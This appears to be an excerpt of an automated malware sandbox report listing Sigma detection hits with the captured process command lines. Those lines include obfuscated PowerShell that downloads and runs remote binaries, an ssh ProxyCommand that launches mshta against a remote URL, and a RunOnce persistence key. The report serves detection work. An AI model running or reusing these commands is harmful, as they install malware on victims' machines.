Author: pH-T (Nextron Systems), Harjot Singh, @cyb3rjy0t: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -WindowStyle Hidden -EncodedCommand JABhAEoAdwA3AD0AIgB1AHAAZABhAHQAZQByAC4AZQB4AGUAIgA7ACQAawBOAHIAMwA9AC0AagBvAGkAbgAoACgANgA1AC4ALgA5ADAAKQArACgAOQA3AC4ALgAxADIAMgApAHwARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0AHsAWwBjAGgAYQByAF0AJABfAH0AfABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAA4ACkAKwAiAC4AYgBpAG4AIgA7ACQAagBYAHEANAA9AEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAIAAtAEMAaABpAGwAZABQAGEAdABoACgALQBqAG8AaQBuACgAKAA0ADgALgAuADUANwB8AEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAB7AFsAYwBoAGEAcgBdACQAXwB9ACkAfABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAA4ACkAKQA7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAagBYAHEANAAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAA7ACQAcABIAHQANgA9AEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABqAFgAcQA0ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACQAYQBKAHcANwA7ACQAcwBXAGYAMgA9AEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABqAFgAcQA0ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACQAawBOAHIAMwA7ACQAdgBQAGIAOQA9ACIAaAB0AHQAcABzADoALwAvAGMAbgBkAGUAZgAxAC4AZwByAGUAZQBuAC0AcABhAHQAaAB3AGEAeQBzAC4AcwBoAG8AcAAvAGEAcABpAC8AdQB6AC8ANwA1ADUAMgA5ADcAMwA2ADUAMAAvAHUALgBiAGkAbgAiADsAJAB4AFEAZAA1AD0AIgBoAHQAdABwAHMAOgAvAC8AYwBuAGQAZQBmADEALgBnAHIAZQBlAG4ALQBwAGEAdABoAHcAYQB5AHMALgBzAGgAbwBwAC8AYQBwAGkALwB1AHoALwA3ADUANQAyADkANwAzADYANQAwAC8AbgBuAG4ALgBiAGkAbgAiADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAdgBQAGIAOQAgAC0ATwB1AHQARgBpAGwAZQAgACQAcABIAHQANgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB4AFEAZAA1ACAALQBPAHUAdABGAGkAbABlACAAJABzAFcAZgAyACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABIAHQANgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAkAHMAVwBmADIAOwAmACAAKABbAHMAYwByAGkAcAB0AGIAbABvAGMAawBdADoAOgBDAHIAZQBhAHQAZQAoACgAKAAnAGUAJwArACcAeABpACcAKwAnAHQAJwApACAALQBqAG8AaQBuACAAJwAnACkAKQApAA== , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -WindowStyle Hidden -EncodedCommand JABhAEoAdwA3AD0AIgB1AHAAZABhAHQAZQByAC4AZQB4AGUAIgA7ACQAawBOAHIAMwA9AC0AagBvAGkAbgAoACgANgA1AC4ALgA5ADAAKQArACgAOQA3AC4ALgAxADIAMgApAHwARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0AHsAWwBjAGgAYQByAF0AJABfAH0AfABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAA4ACkAKwAiAC4AYgBpAG4AIgA7ACQAagBYAHEANAA9AEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAIAAtAEMAaABpAGwAZABQAGEAdABoACgALQBqAG8AaQBuACgAKAA0ADgALgAuADUANwB8AEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAB7AFsAYwBoAGEAcgBdACQAXwB9ACkAfABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAA4ACkAKQA7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAagBYAHEANAAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAA7ACQAcABIAHQANgA9AEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABqAFgAcQA0ACA

Sigma detected: Suspicious MSHTA Child Process

Source: Process started

Author: Michael Haag: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function wrdZ($UvhG){return -split ($UvhG -replace '..', '0x$& ')};$ERHgk = wrdZ('ECA586FB867E54D080F88AB849BFB94F298E9D4D174F6B1F2F81610C3540C56191E34FB7B2DF87630478E180DACA97337CF338C5F0549579E18CC1A49A1339F9691FAE2EDAAC0D6E2AB4913030D45E7F9C40731A7B0ED45F438D15D573AB5E4816A3D8CA82DAA342D630EDB6E24E85F4D05E0447A728444A18214CD35DB1FD5C4C677BF1EB6DD62A0D4B42A5F996D056A8C58BF2B2ADC007CA0004F35EEDF7DB06CC47C0E8175257375360952646DDCE12F86A389A2FB4F08F04DF71ABBD10CA19394807E45AE262B4CF2BD880666BE9808038992E086339CA69F730462BD5BA268BEA9591B45C3FDDC4B990452C3C5B083B1D8A99DB9D344BE7F259679F7994FBAA4E272654402905FEB107236FDE83FA247F6DFF5EE2DE2FBE984DE8D33A5077EC31D65DAE7AAC344DB18BADD0E59C3DC0A20AA1776387E75ED82F6F21E81D436D435FE7641490C8BB3BE615F9D76B1F8A1323001EC29CB1DC720A20647927291ABFCCFF409B1F94A878B0CDB0AFF68E11DAF8B2CCB95D3B395C11FB1D2F79673936E5F6AF545B019BFDE71CDAC1667709524F9244C6D8B3198F1F28C92F507AF233B70FD15099184E521AA3D1F4EB4613BE4CC9617FD5EE373CB05A7B164A2B6211387C494F7FC2F64FB4B0EEC11B39FFCC4E09EE10E96070192D4E0E2AD737B857A3BA8766EF8B454E4CC9BAE60331184407821C7F5A417DEBB95885CD929FAC64B5913D45E20BA92710C789EA36BC01ED629BAAEEFB8F420E9D966E4669DB7E1EE213C1001073B4FB67BB454BA80B0144D096E4FA221E9AB74FB2FDA2CBBA9C669EB50610B810047A6A75A1E41407350666C1B141836EA4FB3C9588111CE216EB2E451248C7008EA09561E08463428A981B69214151A19DD58483CB4A07DA879953AA3FDBF8EC16A79ACD16FBF54B34E405FCE7D15727908982C71DB4EC3160579745FCBC610756535558573F49618C7606881E9C8F026001D9C1C40FD2462CC1EC3DCF620D160F23D6F789F8CAA4EE9835FD65AA1D0E0278809DE0D85C1295E58C782AAFF7016B75C2FBB65FE1F73E7B038C89BAA57C32930D22EE8C71A06F4A2C738995833A10226ECDFB07ECD5F6DA31617797E009FA791AB33D9189A3A8E44428EFC9D7C6FAC3474FD38038FE910BBB036CFF902B287315F807FAAA06AED95210DDE82DAEAC0A523D871AE53C0EF75EF61B9A57F8F33A81ABD5D297C8FA835397595E7202A8E9007FFC7EDE814D001B798D89293879C641BE0707A91665E5503FECF99138AC09675DB1C070F4CF90193587A5FFC1CEE76401544370EB81704BA787C0CD04C9585C45A98FE309B624E2A8DF58992BFB2E28E05D3E083F40D7259170B815F21C934D9A6B716FB374544D200AC2F51F83FF6015BF31FAF855ACD6F94C4EDCFFE1B1B1E84CD0DCE3476BE438811875890C244AF355F5A99D60D3FE596651A7FCE949EF11B75A3E47270440D77D7293E40B99F248B7EA50AE844851B9FCECC2A42A543848822154E0BDE72E753A37ABBC37D5A523E44824FDECB7EA3DA94AE0BC489AFB57E7FF8B9D330E6B6CF749C38703F35FBB8C7524C1CC772CB6E97F52B9A303F765EEA1CF88781CF03DBAF4E05C5E83D04900C62AE76C9060D2EF02C6358A9C35D3C5CADDA4513FE8720161EE8D258C9D8738089620A44FDD02266B9393340D2A4D6DF53670CE0EAC8ADF596CBD6821F99D9AA7D32C9C1C8CDD6A112CF9684123E95FA54979737993CA2ED54A8E4E7B526955F3B82D4D1180DCF858A68E630366BAE559198412C920E3DF514DC1275386D42B0CF7D7800F9A9C56DF30AC55BB715221A65AC5F1B6C047475AF5D327C3E5F8421DC5507C9898E1CA30BC70D6ED81C7FBE88DC6473A1B361F63E277C1B83D0BA47D9D3A44BB1ED147D9E3D1391B4E0C9728E31F4600C8F8CDC7EA1BB362F215217B57B713C7F2C9B60FFBB1ABFF32654C427DAA0BD39D0753919D0F4F7B47FF923BD6

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -WindowStyle Hidden -EncodedCommand JABhAEoAdwA3AD0AIgB1AHAAZABhAHQAZQByAC4AZQB4AGUAIgA7ACQAawBOAHIAMwA9AC0AagBvAGkAbgAoACgANgA1AC4ALgA5ADAAKQArACgAOQA3AC4ALgAxADIAMgApAHwARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0AHsAWwBjAGgAYQByAF0AJABfAH0AfABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAA4ACkAKwAiAC4AYgBpAG4AIgA7ACQAagBYAHEANAA9AEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAIAAtAEMAaABpAGwAZABQAGEAdABoACgALQBqAG8AaQBuACgAKAA0ADgALgAuADUANwB8AEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAB7AFsAYwBoAGEAcgBdACQAXwB9ACkAfABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAA4ACkAKQA7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAagBYAHEANAAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAA7ACQAcABIAHQANgA9AEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABqAFgAcQA0ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACQAYQBKAHcANwA7ACQAcwBXAGYAMgA9AEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABqAFgAcQA0ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACQAawBOAHIAMwA7ACQAdgBQAGIAOQA9ACIAaAB0AHQAcABzADoALwAvAGMAbgBkAGUAZgAxAC4AZwByAGUAZQBuAC0AcABhAHQAaAB3AGEAeQBzAC4AcwBoAG8AcAAvAGEAcABpAC8AdQB6AC8ANwA1ADUAMgA5ADcAMwA2ADUAMAAvAHUALgBiAGkAbgAiADsAJAB4AFEAZAA1AD0AIgBoAHQAdABwAHMAOgAvAC8AYwBuAGQAZQBmADEALgBnAHIAZQBlAG4ALQBwAGEAdABoAHcAYQB5AHMALgBzAGgAbwBwAC8AYQBwAGkALwB1AHoALwA3ADUANQAyADkANwAzADYANQAwAC8AbgBuAG4ALgBiAGkAbgAiADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAdgBQAGIAOQAgAC0ATwB1AHQARgBpAGwAZQAgACQAcABIAHQANgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB4AFEAZAA1ACAALQBPAHUAdABGAGkAbABlACAAJABzAFcAZgAyACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABIAHQANgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAkAHMAVwBmADIAOwAmACAAKABbAHMAYwByAGkAcAB0AGIAbABvAGMAawBdADoAOgBDAHIAZQBhAHQAZQAoACgAKAAnAGUAJwArACcAeABpACcAKwAnAHQAJwApACAALQBqAG8AaQBuACAAJwAnACkAKQApAA== , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -WindowStyle Hidden -EncodedCommand JABhAEoAdwA3AD0AIgB1AHAAZABhAHQAZQByAC4AZQB4AGUAIgA7ACQAawBOAHIAMwA9AC0AagBvAGkAbgAoACgANgA1AC4ALgA5ADAAKQArACgAOQA3AC4ALgAxADIAMgApAHwARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0AHsAWwBjAGgAYQByAF0AJABfAH0AfABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAA4ACkAKwAiAC4AYgBpAG4AIgA7ACQAagBYAHEANAA9AEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAIAAtAEMAaABpAGwAZABQAGEAdABoACgALQBqAG8AaQBuACgAKAA0ADgALgAuADUANwB8AEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAB7AFsAYwBoAGEAcgBdACQAXwB9ACkAfABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAA4ACkAKQA7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAagBYAHEANAAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAA7ACQAcABIAHQANgA9AEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABqAFgAcQA0ACA

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function wrdZ($UvhG){return -split ($UvhG -replace '..', '0x$& ')};$ERHgk = wrdZ('ECA586FB867E54D080F88AB849BFB94F298E9D4D174F6B1F2F81610C3540C56191E34FB7B2DF87630478E180DACA97337CF338C5F0549579E18CC1A49A1339F9691FAE2EDAAC0D6E2AB4913030D45E7F9C40731A7B0ED45F438D15D573AB5E4816A3D8CA82DAA342D630EDB6E24E85F4D05E0447A728444A18214CD35DB1FD5C4C677BF1EB6DD62A0D4B42A5F996D056A8C58BF2B2ADC007CA0004F35EEDF7DB06CC47C0E8175257375360952646DDCE12F86A389A2FB4F08F04DF71ABBD10CA19394807E45AE262B4CF2BD880666BE9808038992E086339CA69F730462BD5BA268BEA9591B45C3FDDC4B990452C3C5B083B1D8A99DB9D344BE7F259679F7994FBAA4E272654402905FEB107236FDE83FA247F6DFF5EE2DE2FBE984DE8D33A5077EC31D65DAE7AAC344DB18BADD0E59C3DC0A20AA1776387E75ED82F6F21E81D436D435FE7641490C8BB3BE615F9D76B1F8A1323001EC29CB1DC720A20647927291ABFCCFF409B1F94A878B0CDB0AFF68E11DAF8B2CCB95D3B395C11FB1D2F79673936E5F6AF545B019BFDE71CDAC1667709524F9244C6D8B3198F1F28C92F507AF233B70FD15099184E521AA3D1F4EB4613BE4CC9617FD5EE373CB05A7B164A2B6211387C494F7FC2F64FB4B0EEC11B39FFCC4E09EE10E96070192D4E0E2AD737B857A3BA8766EF8B454E4CC9BAE60331184407821C7F5A417DEBB95885CD929FAC64B5913D45E20BA92710C789EA36BC01ED629BAAEEFB8F420E9D966E4669DB7E1EE213C1001073B4FB67BB454BA80B0144D096E4FA221E9AB74FB2FDA2CBBA9C669EB50610B810047A6A75A1E41407350666C1B141836EA4FB3C9588111CE216EB2E451248C7008EA09561E08463428A981B69214151A19DD58483CB4A07DA879953AA3FDBF8EC16A79ACD16FBF54B34E405FCE7D15727908982C71DB4EC3160579745FCBC610756535558573F49618C7606881E9C8F026001D9C1C40FD2462CC1EC3DCF620D160F23D6F789F8CAA4EE9835FD65AA1D0E0278809DE0D85C1295E58C782AAFF7016B75C2FBB65FE1F73E7B038C89BAA57C32930D22EE8C71A06F4A2C738995833A10226ECDFB07ECD5F6DA31617797E009FA791AB33D9189A3A8E44428EFC9D7C6FAC3474FD38038FE910BBB036CFF902B287315F807FAAA06AED95210DDE82DAEAC0A523D871AE53C0EF75EF61B9A57F8F33A81ABD5D297C8FA835397595E7202A8E9007FFC7EDE814D001B798D89293879C641BE0707A91665E5503FECF99138AC09675DB1C070F4CF90193587A5FFC1CEE76401544370EB81704BA787C0CD04C9585C45A98FE309B624E2A8DF58992BFB2E28E05D3E083F40D7259170B815F21C934D9A6B716FB374544D200AC2F51F83FF6015BF31FAF855ACD6F94C4EDCFFE1B1B1E84CD0DCE3476BE438811875890C244AF355F5A99D60D3FE596651A7FCE949EF11B75A3E47270440D77D7293E40B99F248B7EA50AE844851B9FCECC2A42A543848822154E0BDE72E753A37ABBC37D5A523E44824FDECB7EA3DA94AE0BC489AFB57E7FF8B9D330E6B6CF749C38703F35FBB8C7524C1CC772CB6E97F52B9A303F765EEA1CF88781CF03DBAF4E05C5E83D04900C62AE76C9060D2EF02C6358A9C35D3C5CADDA4513FE8720161EE8D258C9D8738089620A44FDD02266B9393340D2A4D6DF53670CE0EAC8ADF596CBD6821F99D9AA7D32C9C1C8CDD6A112CF9684123E95FA54979737993CA2ED54A8E4E7B526955F3B82D4D1180DCF858A68E630366BAE559198412C920E3DF514DC1275386D42B0CF7D7800F9A9C56DF30AC55BB715221A65AC5F1B6C047475AF5D327C3E5F8421DC5507C9898E1CA30BC70D6ED81C7FBE88DC6473A1B361F63E277C1B83D0BA47D9D3A44BB1ED147D9E3D1391B4E0C9728E31F4600C8F8CDC7EA1BB362F215217B57B713C7F2C9B60FFBB1ABFF32654C427DAA0BD39D0753919D0F4F7B47FF923BD6

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: "C:\ehcfdbh\AutoIt3.exe" C:\ehcfdbh\bhcbhah.a3x, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\48216953\updater.exe, ProcessId: 8112, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\bhcbhah

Sigma detected: Lolbin Ssh.exe Use As Proxy

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\OpenSSH\ssh.exe" "-oForwardX11 no" "-oForwardAgent no" "-oPermitLocalCommand no" "-oClearAllForwardings yes" -o "ProxyCommand=powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]]pxuh]]]]]aq.sh]]]]]]]op/3]VKKE]]]].mp4]]' -replace ']')" "-oProtocol 2" -s -- . sftp, CommandLine: "C:\Windows\System32\OpenSSH\ssh.exe" "-oForwardX11 no" "-oForwardAgent no" "-oPermitLocalCommand no" "-oClearAllForwardings yes" -o "ProxyCommand=powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]]pxuh]]]]]aq.sh]]]]]]]op/3]VKKE]]]].mp4]]' -replace ']')" "-oProtocol 2" -s -- . sftp, CommandLine|base64offset|contains: , Image: C:\Windows\System32\OpenSSH\ssh.exe, NewProcessName: C:\Windows\System32\OpenSSH\ssh.exe, OriginalFileName: C:\Windows\System32\OpenSSH\ssh.exe, ParentCommandLine: "C:\Windows\System32\OpenSSH\sftp.exe" -o ProxyCommand="powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]]pxuh]]]]]aq.sh]]]]]]]op/3]VKKE]]]].mp4]]' -replace ']')" ., ParentImage: C:\Windows\System32\OpenSSH\sftp.exe, ParentProcessId: 4536, ParentProcessName: sftp.exe, ProcessCommandLine: "C:\Windows\System32\OpenSSH\ssh.exe" "-oForwardX11 no" "-oForwardAgent no" "-oPermitLocalCommand no" "-oClearAllForwardings yes" -o "ProxyCommand=powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]]pxuh]]]]]aq.sh]]]]]]]op/3]VKKE]]]].mp4]]' -replace ']')" "-oProtocol 2" -s -- . sftp, ProcessId: 6204, ProcessName: ssh.exe

Sigma detected: Suspicious Execution of Powershell with Base64

Source: Process started

Author: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -WindowStyle Hidden -EncodedCommand JABhAEoAdwA3AD0AIgB1AHAAZABhAHQAZQByAC4AZQB4AGUAIgA7ACQAawBOAHIAMwA9AC0AagBvAGkAbgAoACgANgA1AC4ALgA5ADAAKQArACgAOQA3AC4ALgAxADIAMgApAHwARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0AHsAWwBjAGgAYQByAF0AJABfAH0AfABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAA4ACkAKwAiAC4AYgBpAG4AIgA7ACQAagBYAHEANAA9AEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAIAAtAEMAaABpAGwAZABQAGEAdABoACgALQBqAG8AaQBuACgAKAA0ADgALgAuADUANwB8AEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAB7AFsAYwBoAGEAcgBdACQAXwB9ACkAfABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAA4ACkAKQA7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAagBYAHEANAAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAA7ACQAcABIAHQANgA9AEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABqAFgAcQA0ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACQAYQBKAHcANwA7ACQAcwBXAGYAMgA9AEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABqAFgAcQA0ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACQAawBOAHIAMwA7ACQAdgBQAGIAOQA9ACIAaAB0AHQAcABzADoALwAvAGMAbgBkAGUAZgAxAC4AZwByAGUAZQBuAC0AcABhAHQAaAB3AGEAeQBzAC4AcwBoAG8AcAAvAGEAcABpAC8AdQB6AC8ANwA1ADUAMgA5ADcAMwA2ADUAMAAvAHUALgBiAGkAbgAiADsAJAB4AFEAZAA1AD0AIgBoAHQAdABwAHMAOgAvAC8AYwBuAGQAZQBmADEALgBnAHIAZQBlAG4ALQBwAGEAdABoAHcAYQB5AHMALgBzAGgAbwBwAC8AYQBwAGkALwB1AHoALwA3ADUANQAyADkANwAzADYANQAwAC8AbgBuAG4ALgBiAGkAbgAiADsASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAdgBQAGIAOQAgAC0ATwB1AHQARgBpAGwAZQAgACQAcABIAHQANgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJAB4AFEAZAA1ACAALQBPAHUAdABGAGkAbABlACAAJABzAFcAZgAyACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwA7AFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgACQAcABIAHQANgAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAkAHMAVwBmADIAOwAmACAAKABbAHMAYwByAGkAcAB0AGIAbABvAGMAawBdADoAOgBDAHIAZQBhAHQAZQAoACgAKAAnAGUAJwArACcAeABpACcAKwAnAHQAJwApACAALQBqAG8AaQBuACAAJwAnACkAKQApAA== , CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -WindowStyle Hidden -EncodedCommand JABhAEoAdwA3AD0AIgB1AHAAZABhAHQAZQByAC4AZQB4AGUAIgA7ACQAawBOAHIAMwA9AC0AagBvAGkAbgAoACgANgA1AC4ALgA5ADAAKQArACgAOQA3AC4ALgAxADIAMgApAHwARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0AHsAWwBjAGgAYQByAF0AJABfAH0AfABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAA4ACkAKwAiAC4AYgBpAG4AIgA7ACQAagBYAHEANAA9AEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQARQBNAFAAIAAtAEMAaABpAGwAZABQAGEAdABoACgALQBqAG8AaQBuACgAKAA0ADgALgAuADUANwB8AEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAB7AFsAYwBoAGEAcgBdACQAXwB9ACkAfABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBDAG8AdQBuAHQAIAA4ACkAKQA7AE4AZQB3AC0ASQB0AGUAbQAgAC0AUABhAHQAaAAgACQAagBYAHEANAAgAC0ASQB0AGUAbQBUAHkAcABlACAARABpAHIAZQBjAHQAbwByAHkAIAAtAEYAbwByAGMAZQB8AE8AdQB0AC0ATgB1AGwAbAA7ACQAcABIAHQANgA9AEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABqAFgAcQA0ACA

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]]pxuh]]]]]aq.sh]]]]]]]op/3]VKKE]]]].mp4]]' -replace ']'), CommandLine: powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]]pxuh]]]]]aq.sh]]]]]]]op/3]VKKE]]]].mp4]]' -replace ']'), CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\OpenSSH\ssh.exe" "-oForwardX11 no" "-oForwardAgent no" "-oPermitLocalCommand no" "-oClearAllForwardings yes" -o "ProxyCommand=powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]]pxuh]]]]]aq.sh]]]]]]]op/3]VKKE]]]].mp4]]' -replace ']')" "-oProtocol 2" -s -- . sftp, ParentImage: C:\Windows\System32\OpenSSH\ssh.exe, ParentProcessId: 6204, ParentProcessName: ssh.exe, ProcessCommandLine: powershell powershell -Command ('m]]]]]]sh]]]]]]]t]]]]]a]]]]]]].]]]]]ex]]]]]]]e]]]]] h]]]]]tt]]]ps:]]]]]]/]]]]]]/s]]]]]t]]]]]]]atic]]].kli]]]]]]]pxuh]]]]]aq.sh]]]]]]]op/3]VKKE]]]].mp4]]' -replace ']'), ProcessId: 6596, ProcessName: powershell.exe

Sigma detected: Potential Encoded PowerShell Patterns In CommandLine

Source: Process started

